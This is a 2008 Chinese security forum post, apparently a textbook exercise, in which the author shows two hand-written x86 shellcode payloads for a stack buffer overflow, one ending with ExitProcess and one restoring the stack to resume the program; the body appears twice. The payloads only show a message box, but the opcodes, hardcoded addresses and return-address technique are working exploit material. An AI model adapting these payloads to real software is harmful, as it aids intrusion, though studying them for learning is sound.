-
-
[讨论]4.4代码植入的安全退出
-
发表于: 2008-7-30 19:19 3838
-
今天很有兴趣的做了一下这个东西。
分别用了ExitProcess退出,和修复堆栈和寄存器的两种方式。
1)对于exitProcess方式,就是在源码中添加了“LoadLibrary("kernel32.dll");”
然后通过查找绝对地址来让程序执行完MessagbeBoxA以后,执行exitprocess退出程序而不报其他的异常。
在实验的发现,缓冲区不够,于是抬高了栈顶0x34。
溢出的文件如下:
83EC 34 SUB ESP,34
33DB XOR EBX,EBX
53 PUSH EBX
68 43617421 PUSH 21746143
68 4C617A79 PUSH 797A614C
8BC4 MOV EAX,ESP
53 PUSH EBX
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA04D577 MOV EAX,user32.MessageBoxA
FFD0 CALL EAX
53 PUSH EBX
B8 A2CA817C MOV EAX,kernel32.ExitProcess
FFD0 CALL EAX
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 F0 FA 12 00
=================================================
2)对于修复堆栈和寄存器让程序继续执行,也用的是硬编码的方式来实现
溢出的文件如下:
83EC 38 SUB ESP,38 //因为处理要多一点,所以栈顶抬高了一点
33DB XOR EBX,EBX
53 PUSH EBX
68 43617421 PUSH 21746143
68 4C617A79 PUSH 797A614C
8BC4 MOV EAX,ESP
53 PUSH EBX
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA04D577 MOV EAX,user32.MessageBoxA
FFD0 CALL EAX
83C4 44 ADD ESP,44 //恢复ESP
8BEF MOV EBP,EDI //恢复EBP
81E9 42F4527C SUB ECX,7C52F442 //通过ECX的偏移值来JMP,原因是直接跳回去的地址是0040112B,“00”字符没有办法读进buffer。就用的这个硬编码的笨办法。
FFE1 JMP ECX
90 90 90 90 90 90 90 90 90 90 F0 FA 12
==========================================
以上两种方式,算是比较笨的搞了一下平衡。 希望牛牛们能多多批评,然后我好进一步提高。
分别用了ExitProcess退出,和修复堆栈和寄存器的两种方式。
1)对于exitProcess方式,就是在源码中添加了“LoadLibrary("kernel32.dll");”
然后通过查找绝对地址来让程序执行完MessagbeBoxA以后,执行exitprocess退出程序而不报其他的异常。
在实验的发现,缓冲区不够,于是抬高了栈顶0x34。
溢出的文件如下:
83EC 34 SUB ESP,34
33DB XOR EBX,EBX
53 PUSH EBX
68 43617421 PUSH 21746143
68 4C617A79 PUSH 797A614C
8BC4 MOV EAX,ESP
53 PUSH EBX
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA04D577 MOV EAX,user32.MessageBoxA
FFD0 CALL EAX
53 PUSH EBX
B8 A2CA817C MOV EAX,kernel32.ExitProcess
FFD0 CALL EAX
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 F0 FA 12 00
=================================================
2)对于修复堆栈和寄存器让程序继续执行,也用的是硬编码的方式来实现
溢出的文件如下:
83EC 38 SUB ESP,38 //因为处理要多一点,所以栈顶抬高了一点
33DB XOR EBX,EBX
53 PUSH EBX
68 43617421 PUSH 21746143
68 4C617A79 PUSH 797A614C
8BC4 MOV EAX,ESP
53 PUSH EBX
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA04D577 MOV EAX,user32.MessageBoxA
FFD0 CALL EAX
83C4 44 ADD ESP,44 //恢复ESP
8BEF MOV EBP,EDI //恢复EBP
81E9 42F4527C SUB ECX,7C52F442 //通过ECX的偏移值来JMP,原因是直接跳回去的地址是0040112B,“00”字符没有办法读进buffer。就用的这个硬编码的笨办法。
FFE1 JMP ECX
90 90 90 90 90 90 90 90 90 90 F0 FA 12
==========================================
以上两种方式,算是比较笨的搞了一下平衡。 希望牛牛们能多多批评,然后我好进一步提高。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
- [分享]【看雪2017安全开发者峰会演讲回顾 0x2】定制化对抗——游戏反外挂的安全实践 10605
- [原创]第三题 跟踪与分析 2795
- [原创]第二题 我的分析结果 6745
- [原创]第二题 答案提交 2752
- [原创]第一题答案提交 2623
看原图
赞赏
雪币:
留言: